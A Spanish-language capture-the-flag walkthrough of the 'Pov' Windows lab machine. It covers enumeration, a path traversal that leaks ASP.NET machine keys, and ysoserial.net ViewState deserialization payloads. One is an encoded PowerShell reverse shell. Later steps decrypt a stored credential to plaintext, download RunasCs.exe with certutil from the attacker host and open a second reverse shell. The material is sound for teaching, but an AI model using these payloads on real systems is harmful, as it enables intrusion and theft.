Pov
Enumeración
Como siempre, lo primero que hago es ver si la máquina está encendida.
❯ ping -c 1 10.10.11.251
PING 10.10.11.251 (10.10.11.251) 56(84) bytes of data.
64 bytes from 10.10.11.251: icmp_seq=1 ttl=127 time=42.3 ms
--- 10.10.11.251 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.303/42.303/42.303/0.000 ms
❯ whichSystem.py 10.10.11.251
10.10.11.251 (ttl -> 127): Windows
Veo que me responde. Gracias al ttl identifico que estoy ante una máquina Windows.
Ahora voy a ver que puertos están abiertos.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.251 -oG puertos
❯ cat puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: puertos
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.94SVN scan initiated Mon Jun 17 06:31:58 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG puertos 10.10.11.251
2 │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
3 │ Host: 10.10.11.251 () Status: Up
4 │ Host: 10.10.11.251 () Ports: 80/open/tcp//http/// Ignored State: filtered (65534)
5 │ # Nmap done at Mon Jun 17 06:32:24 2024 -- 1 IP address (1 host up) scanned in 26.48 seconds
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ extractPorts puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.11.251
5 │ [*] Open ports: 80
Una vez tenemos los puertos abiertos voy a lanzar un escaneo más exhaustivo.
❯ nmap -sC -sV -p80 10.10.11.251 -oN target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 08:29 EDT
Nmap scan report for 10.10.11.251
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
❯ whatweb http://10.10.11.251
http://10.10.11.251 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.251], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]
Voy a identificar directorios ocultos con gobuster, pasándole la url
(-u) y el direccionario
(-w) y voy a usar tee para visualizar la salida en tiempo real, pero también para conservar un registro en un archivo.
❯ gobuster dir -u http://pov.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | tee gobuster.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pov.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 142] [--> http://pov.htb/img/]
/css (Status: 301) [Size: 142] [--> http://pov.htb/css/]
/js (Status: 301) [Size: 141] [--> http://pov.htb/js/]
/IMG (Status: 301) [Size: 142] [--> http://pov.htb/IMG/]
/*checkout* (Status: 400) [Size: 3420]
/CSS (Status: 301) [Size: 142] [--> http://pov.htb/CSS/]
/Img (Status: 301) [Size: 142] [--> http://pov.htb/Img/]
/JS (Status: 301) [Size: 141] [--> http://pov.htb/JS/]
/*docroot* (Status: 400) [Size: 3420]
/* (Status: 400) [Size: 3420]
/http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/http%3A (Status: 400) [Size: 3420]
/q%26a (Status: 400) [Size: 3420]
/**http%3a (Status: 400) [Size: 3420]
/*http%3A (Status: 400) [Size: 3420]
/**http%3A (Status: 400) [Size: 3420]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 3420]
/http%3A%2F%2Fblogs (Status: 400) [Size: 3420]
/http%3A%2F%2Fblog (Status: 400) [Size: 3420]
/**http%3A%2F%2Fwww (Status: 400) [Size: 3420]
/s%26p (Status: 400) [Size: 3420]
/%3FRID%3D2671 (Status: 400) [Size: 3420]
/devinmoore* (Status: 400) [Size: 3420]
/200109* (Status: 400) [Size: 3420]
/*sa_ (Status: 400) [Size: 3420]
/*dc_ (Status: 400) [Size: 3420]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 3420]
/Chamillionaire%20%26%20Paul%20Wall-%20Get%20Ya%20Mind%20Correct (Status: 400) [Size: 3420]
/Clinton%20Sparks%20%26%20Diddy%20-%20Dont%20Call%20It%20A%20Comeback%28RuZtY%29 (Status: 400) [Size: 3420]
/DJ%20Haze%20%26%20The%20Game%20-%20New%20Blood%20Series%20Pt (Status: 400) [Size: 3420]
/http%3A%2F%2Fradar (Status: 400) [Size: 3420]
/q%26a2 (Status: 400) [Size: 3420]
/login%3f (Status: 400) [Size: 3420]
/Shakira%20Oral%20Fixation%201%20%26%202 (Status: 400) [Size: 3420]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 3420]
/http%3A%2F%2Fweblog (Status: 400) [Size: 3420]
/http%3A%2F%2Fswik (Status: 400) [Size: 3420]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
En este escaneo veo una la ruta de login que da un error 400 (bad request). Voy a meterme por curiosidad
Y encuentro un error del archivo de configuración Web.Config
Como tampoco he encontrado muchos directorios interesante voy a enumerar subdominios
❯ wfuzz -c --hh=12330 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pov.htb" http://pov.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://pov.htb/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 302 1 L 10 W 152 Ch "dev"
Voy a incluir dev.pov.htb en el /etc/hosts y posteriormente voy a realizar una solicitud HTTP GET a la dirección http://dev.pov.htb con curl.
❯ curl -s -X GET http://dev.pov.htb
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>%
Si voy a esta página encuentro esto.
Tiene un CV que se puede descargar, voy a descargármelo y a ver los metadatos con exiftools
. Pero tampoco veo nada aparentemente interesante solo el autor.
❯ exiftool cv.pdf
ExifTool Version Number : 12.76
File Name : cv.pdf
Directory : .
File Size : 148 kB
File Modification Date/Time : 2024:06:17 15:55:45-04:00
File Access Date/Time : 2024:06:17 15:55:45-04:00
File Inode Change Date/Time : 2024:06:17 15:55:45-04:00
File Permissions : -r--------
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Language : es
Tagged PDF : Yes
XMP Toolkit : 3.1-701
Producer : Microsoft® Word para Microsoft 365
Creator : Turbo
Creator Tool : Microsoft® Word para Microsoft 365
Create Date : 2023:09:15 12:47:15-06:00
Modify Date : 2023:09:15 12:47:15-06:00
Document ID : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Instance ID : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Author : Turbo
Voy a usar burpsuite para interceptar la petición cuando descargué el pdf.
Veo que hay un campo file que es el nombre del archivo, voy a buscar en ese directorio más archivos.
❯ gobuster dir -u http://dev.pov.htb/portfolio/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x aspx | grep -v "302"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.pov.htb/portfolio/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: aspx
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact.aspx (Status: 200) [Size: 4691]
/default.aspx (Status: 200) [Size: 21371]
/Default.aspx (Status: 200) [Size: 21371]
/assets (Status: 301) [Size: 159] [--> http://dev.pov.htb/portfolio/assets/]
/Contact.aspx (Status: 200) [Size: 4691]
Y como podemos ver nos deja. Vemos un archivo index.aspx.cs
voy a verlo.
Este método permite descargar archivos desde el servidor web. El archivo a descargar se especifica mediante la variable file, y el método se encarga de enviar el archivo al cliente con el nombre especificado en el encabezado Content-Disposition.
Parece que hay un Path Traversal en la expresión regular Regex.Replace(filePath, “../”, “”) que intenta prevenir ataques de path traversal, pero no es suficiente. Un atacante podría utilizar técnicas de encoding o doble encoding para bypassar esta protección y acceder a directorios fuera del árbol de directorios actual.
Probe a poner en file file=..\..\..\..\..\..\..\..\..\..\..\..\..\..\C:\Windows\System32\drivers\etc\hosts
pero me daba error, y pasándole solo el path me dió una respuesta.
Asi que voy a ver el archivo web.config
que antes daba un error.
La clave de cifrado es la clave de desencriptación. En este caso, la clave de desencriptación se encuentra en la sección
En este caso, la clave de desencriptación es: decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
ysoserial tool
Voy a usar una nueva máquina Windows e Ysoserial para generar un payload de deserialización que me permita acceder a la clave de cifrado.
Con -p puedo ver los plugins para usar.
C:\Users\j\Desktop\Release>ysoserial.exe -p --help
Plugin not supported. Supported plugins are: ActivatorUrl , Altserialization , ApplicationTrust , Clipboard , DotNetNuke , GetterCallGadgets , NetNonRceGadgets , Resx , SessionSecurityTokenHandler , SharePoint , ThirdPartyGadgets , TransactionManagerReenlist , ViewState
Y aparece ViewState que es uno de los campos que justo nos había aparecido antes y que nos permite Ysoseria.net crear un payload serializado especifico para explotar este campo y que al deserializarse nos permite ejecutar comandos.
Aquí podemos ver los comandos que se pueden usar.
Aqui podemos ver unos ejemplos.
C:\Users\j\Desktop\Release>ysoserial.exe -p ViewState --examples
Try 'ysoserial -p ViewState --help' for more information.
Exmaples:
.NET Framework >= 4.5:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
.NET Framework <= 4.0 (legacy):
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Voy a seguir el ejemplo y voy a intentar hacer un ping .
C:\Users\j\Desktop\Release>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.87" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
3lcH8UtxNwL7NJhFGzDKXHiefizG7ylt%2FgPkm8ttJRIxIDjHyeutjancqr9zrMByLn4cnyjcDTwlRg9wZUkNVELOT9LE7g3THvYkN3op94zO%2BtZhZ%2BupAgGOci27QhiaDFecgXlA8cHcCTjno8MLGyl%2B9QMe%2FJyz%2FcCxPmgiAi6Ui6R5uf3p51zlNVrZD4dNaRZEP2yvzTfV3jNJTYuiErTGwb75dIxQP1p7nTKv4ERs6fE9ArO1vLnbSWzYe61IdRQT0aBykIiag9lVptpTjo1IoaPnG6HXzC2CZlDBAKxBeNCLtKxZ%2FpQ1Vyd98ShIIBLK3FfvNFHql%2B%2Bg5VJrXUUwkMrvIUg024LHCwgFi7XuxVUunCfcFnF2VdYe7U3gsJgXNW74EG2nM6H4XFJJFCMwAt66KJwwUgugQl7U6Q7Z0m4FYndYLvwddXUSJVuZHCIJvcibCHg67FCzzRqi%2FW%2FWYW%2BD6Dw2xTueSF%2BpXU%2FoDuq8tXx%2BphAOr4ZCcavDWcCpt350RnVS11iQqSmy8eeotUsrMPhvv%2FQpvoCowySXyQpV7%2BppUjV5oRqaes6qaI2Lul18WFRdn8SGpd5HEx2TkT0qWiQavQwuwlZ7lAshN%2Fmx7l4Sco1SmjzgY1TXU%2FnxM5Xqo08TM16CREOTBwAQ%2FnSHzjIlUwdmvRWig6ROBnJB9%2Fbn%2F%2FpD5rvaPUgXWZ%2BpzLHr%2Fzc6QmuBz591zbxHDoXHvB7RD5bBL2ycg%2Bz17a0%2F%2Fp%2BtgrvoTVMslwAQyMks5vBx1Rp%2BUMA%2Ff1MKeaPK5GNuCqqaWBemBcBjF%2FadVJfBKLnea5Q97g206XJnr5%2BdxYsukgJiF78A8KuIwClEzmB6pMZut5GeB02XfNacaQZ1zxvh8MITZcLGecbpIJbrv0da%2FNgGGSsM8zZjAUgEcA%2FLkYFbtuUA8ubH4XpxVF4TP%2B%2FPULFxlb7%2BiUeII%2FzpwDxz8L%2BgkMB%2Bu65EayqViJf6r5YK3LDqhHsTfTNWVEdLGmivWFT%2F6griapnRRhA%2Bo4eo6wvU9%2Bsf9KFftCxXcJs63M3c2fqeIQJc4q2a5k%2FAMrwHC5T8xYJWKkABhVgGDVcd4lfMWHOv2lvMOAI32nb0OYhgi54TcZ96KXXTgdnWPJvyZTRettOOEPgLD3hfbXjnRGi9TOa%2FYchYLlkYzRiHxDiHWY2aboKkv6EVKWKMT8S%2Fy0i7cAKPO3HMs96uZ%2BFFIYzBXk5ISELCB5ANrANt0B4L%2FBp%2B%2B3S79GC%2FcdZ7%2Ff07s397mGbnIkn8Wht1cFBPlX2zNyFNhJmfH7r3g0E%3D
Cojo el payload serializado y codificado en un prinicipio en base64 y lo voy a copiar en el campo VIEWSTATE. Me voy a poner en escucha y voy a lanzar la petición.
Y consigo ejecutar comandos. Ahora voy a generar una Reverse Shell con esta página.
Me pongo en escucha con el comando sudo nc -lvnp 443
y ahora le paso en lugar de un ping la Reverse que he generado.
C:\Users\j\Desktop\Release>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c " powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA= " --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
p%2Fk2vfwmxEjss1j4GEBY%2F3WDKNi%2FqJmQZHKEM007%2FylWLv8fRuPc2nw%2B4CCYo8wUGREvvCggGKnTCa8BddZTquecULCHDHdLW%2Fs7bRvHb5xvUK684T0NHlIDkE5DkjfJSR0CEVWX%2FjacxGjRrFeq7PE%2FmIan4XgOsCgndZe%2B6k%2FvReSv8DCVnj42NN15TVEAMJ2j7gKyhqxWy2NyGGD1w83pUZ1uYZf5EDGsyipImSFHmONvx9DTmZSg5Ac%2FdyyRxhOuV12NvZ1pmkUCDF31Qivma%2BzKneSAQMMQuUrRwACDkKkCS8srSy73ScBbYtbYyjz36n1Sj3tPfsOmBxRS2J8Y88eRrpRsFxamrVs1Zs9BMiHiK1ryfqLx78q7a2O8NIvjxBwM5OIPKYV8IclpDbJBUu%2FDREyDz%2Begl7EX%2FH6LkATJ5MTSD6weP0zZJyurTAV0Ef58dTDanuBpJT%2BcEwzmFpkbrC%2F%2Fmty5QROpsXfGRdk%2FsqZjGjBeiQoq6HCXCZ7p4qMoJQVyxZ2X9fFy1sOK6A7qLnlJxa%2BQ8LucmLhpgQjeWIQBtX7NZhcXBz7amdssLVdtWqzgYFMWLvO2vzAFMbd%2FJNZWEa01wJYQgkRgSSg8JzRP8cCddIoMvVd5K4NNFueWaHZs%2F64Vj3TPZrHygQiOiepDZH2F2jSrFiIUmEvHcZywxoJIJg1caRG0iwuYsqY0QgqotNxPVcE8%2FR%2BriySwsdZ%2BCd4iI%2BYtf2ZKrlRnQUeXNPq8KYiKK%2BqnTNtIRvP1HzaPt%2Ffx6oRXXPHH5jkvspNW4%2FMeUh74vaaH9Th6vyhtKr4sOWCzacps4O1YH8gz1uCKuMtNdIt3t5C0UkMDdYRK4PtV4uJVPxNMTun7tZguvhjS%2BDc0xnJyqMu1Gr9mDJ%2BwFZuvIoTDinG0g8LPBGLCaQdbbSUF7qWBSTl8f4PFKnF4nhlA8dV9B0D5ApTuxWO8XZrcfDoxMS6uCdgGnTdGYKNX9atXo%2FxdX%2BkQD9G65woabHmAUwhVO0pHJWSnZw9Wb4xn%2B%2Fsh2iuoMdotgiIT1aR8s6ebFqeT0TZz9CX5UnrZgPX9DNaBDXNqbMR%2B7WBtryZ4wHis%2BmlYtICEBpvUiWRFmXP%2F2B9ebcceUJQ%2FOwXlKrJLvCUzRCNmv36q3cQzr6bm781vsTAH8ksZwR3PIIT60Tq%2FE6NmMUxPrFy0EId%2Bbr4bvEgW1B%2BxznS%2BD011X2JKyjQC5lEjEuNQxmFDARakO%2BicXtp76NuP4idOOXa%2BK0wpyETMLClWwJ%2FHY%2F5oSCrilWokcDUwXj81AYfNYw%2BdR%2B4%2FXpIoNdYjn3UrtNBg8VTE6v7vCtlbItU3eaJbfuPtpA%2FwlXMVyOEGoUUeRkSyWWXIrbsbu36qtVgto1Vt4lbCJXqRTg1CeWb2yoa84j3O%2B0nPZwOUZo0nTjsYEjmpUveNG95w73xGw7IxY%2FJhoLK2hxKBgWFlNH3zeD%2BcpWFElGHaRd161SHZkJyAmT0kAsKpxusaWgw6d6q%2B36XpJx4m8Xfqi45sHiuEs3%2BDVPpF8RL4LvHjiakmVvrwvJ%2B4PfsIsViAUN7PbLGInELAP0zTWGffOhIua79RZRMYd%2BI4M%2Fx9EiGttK0qN3%2FX%2BbpR%2FWZH%2Bsm1jic1IxltoeU%2BeYHocRX%2BU89urHUP8iYIY23KzsC%2FAJjc3KzYE70LXp5Jc3EfspekbQa70LKq6UDS8obKVhvOWh2krKwGA8dIyhJuEs6XlcmiCcF8nxSof8JK9CmQmEY%2Fqq0HSy24snmrSW4QblGEwyiZQifSxZbn2g8QAapprD5HzkYOwr2AXNBF9tVGm6%2F6qXmp3AFXk0J4hTCT1ZRRg1i1AsHwiRmQkPwJzRd7kXCG34OMM7r9fRtRfcl9oDd7zoZqJQCki2REQRbjMgGn%2ByGfbOTHA5%2FGgA06wRFKnJCG1ZXwCVRE5Nyv7wuNXT1Ko1Y4XhB3jY%2B2vf4fdoHEkzDvDDGkgxUx2t3zeTG10OsJANWgqmM0%2FX%2Fr%2FgSWH5CBSyv0XL9oF%2Fk34i7fq8AiTmQ6KC4DfwnkrhZeVPF4uz%2BdH1qUs%2Bj%2BamQNwPlzZsj1KJQGWvo7N0BR%2BY4W1QRqNOfDpRv%2F9Qf8cmiplbUybxYpDV0WyOXoOC5tsajbi6Ry%2B%2FL5sTw7JqlzYRdwl5FgDsZuXGkx0OazQ5MfOARSV%2BaYd5FU2X3kZsrIe5wFsIT35%2BvWVeh7MjeaUoh4TpcI8MSfKCxuaVSWikOJtbtQ5UFDK83d2fA4WIrOZ567BgywZCNFhPfo3uWaE2%2BOEIOo4VohGjjiQHVDyy0hKDTPrH6cM3h5x8LealGRMaHn6WjjVOUXLwXBNTyECF7F%2B1lLFYHFIzAxrIZV9iyhc3SOwXAnQRg57S4S6vuNLz38iX1Qwt4kpqJAQpd4uj%2BP0jHzmFPLbg4bbvOY%2BKqFUF1Du4AGnQctpNTK0OOyFQFCGrCV3qbxQWGhNKQIlsE41PWUfvKVeAKo1mexa3OXcNXulOQdncw0%2BPiqj%2BdtfPLmmvYgcvOY6cmNlm5ipQUL5h7StECNanvDiQb9J7DDf9zrCN8hC2kRaHVavQJ1ZKGWe3IDjcvIP0WMquZVuoLmEsKByX1cN88%2FBJBtsjDZH2WwtfXk5sUa%2F79d5zsZY2RUgw6gKAx%2BfnPSWantOGRo%2Bf%2FPdRufxJJvd1Ftc2fPXcFLD0DN9SxZisMEwfRGs0WpZSN1%2BW1Rtal1r0J2LTK698eSBqrBXOsHl0sbQeSpWStgqQFeaMDnta%2BKsdXRHsDmx9TjLU6fy8Kf5xRH5I7E4O53THtKUCKhGayFw%2FUegK7uSCRwjoMwfRUC6JOA%2FlDBPyCwKC%2FL56VcQ%2Bk4gQS1DfIjOLL%2Fzl6l2AlwSGH7O2rXLu58gv0k6Gom8hk6L36Oqgtvq3cDuzjUEHuXYdy7TXkpdyqXAhtgM7AQkqpXbPIrh%2BXc4rfxqkRuX8%2BBhW1eRcmaPAlXh34qBMK28pqNQWrr6tv4uE%2BA14iUM4km7mYdgA7L1yw4ZBXg5a4U8K3pzxfzX%2Bzpz9KMa1%2BZn5YyhcCsdy4qTA%3D%3D
Esto lo pasamos al ViewState con Burp y voy a usar voy a usar rlwrap parar agregar una interfaz de readline a nc, lo que facilita el trabajo con la herramienta y proporciona características como historial de comandos y edición.
Y consigo acceso.
PS C:\Users\sfitz\Documents> cat connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
PS C:\Users\sfit
Encuentro este archivo connection.xml que contiene una representación serializada de un objeto System.Management.Automation.PSCredential, que es un tipo de objeto utilizado en PowerShell para almacenar credenciales, como nombres de usuario y contraseñas.
Hay un nombre de usuario “alaading” y una contraseña se almacena como una cadena segura (SS) en la propiedad Password. La contraseña está cifrada utilizando la API de Protección de Datos de Windows (DPAPI).
Voy utilizar el cmdlet Import-Clixml
de PowerShell para importar el archivo connection.xml y luego utilizar el método GetNetworkCredential()
para obtener la contraseña en claro.
# Importar el archivo connection.xml
PS C:\windows\system32\inetsrv> $cred = Import-Clixml -Path "C:\Users\sfitz\Documents\connection.xml"
# Obtener la contraseña en claro
PS C:\windows\system32\inetsrv> $plainPassword = $cred.GetNetworkCredential().Password
PS C:\windows\system32\inetsrv> $cred
UserName Password
-------- --------
alaading System.Security.SecureString
PS C:\windows\system32\inetsrv> $plainPassword
f8gQ8fynP44ek1m3
Ahora voy a ver que cuentas de usuarios locales hay en el equipo actual.
PS C:\windows\system32\inetsrv> net user
User accounts for \\POV
-------------------------------------------------------------------------------
Administrator alaading DefaultAccount
Guest sfitz WDAGUtilityAccount
The command completed successfully.
PS C:\windows\system32\inetsrv> net user alaading
User name alaading
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/6/2023 10:59:23 AM
Password expires Never
Password changeable 11/6/2023 10:59:23 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 12/25/2023 4:56:21 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use*Users
Global Group memberships *None
The command completed successfully. sfitz WDAGUtilityAccount
Obtención de shell como administrador
Para ejecutar comandos como otro usuario voy a usar Runas
Voy a iniciar un servidor HTTP en el puerto 90 para que cualquier persona en la red pueda acceder al conectido del dir actual.
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.251 - - [18/Jun/2024 09:46:10] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 09:46:11] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 09:47:45] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 09:47:45] "GET /RunasCs.exe HTTP/1.1" 200 -
El comando descarga el archivo RunasCs.exe desde la dirección IP 10.10.14.87 y lo guarda en la caché de URL del sistema es el siguiente:
PS C:\Windows\Temp\runas> certutil.exe -f -urlcache -split http://10.10.14.87/RunasCs.exe
**** Online ****
0000 ...
ca00
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp\runas> ls
Directory: C:\Windows\Temp\runas
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/18/2024 6:47 AM 51712 RunasCs.exe
Ahora para conectarme ejecuto el RunasCs.exe con la siguiente configuración.
PS C:\Windows\Temp\runas> .\RunasCs.exe -b alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.14.87:443
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.87] from (UNKNOWN) [10.10.11.251] 49720
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
---------------------------
PS C:\Users\alaading\Desktop> cat user.txt
cat user.txt
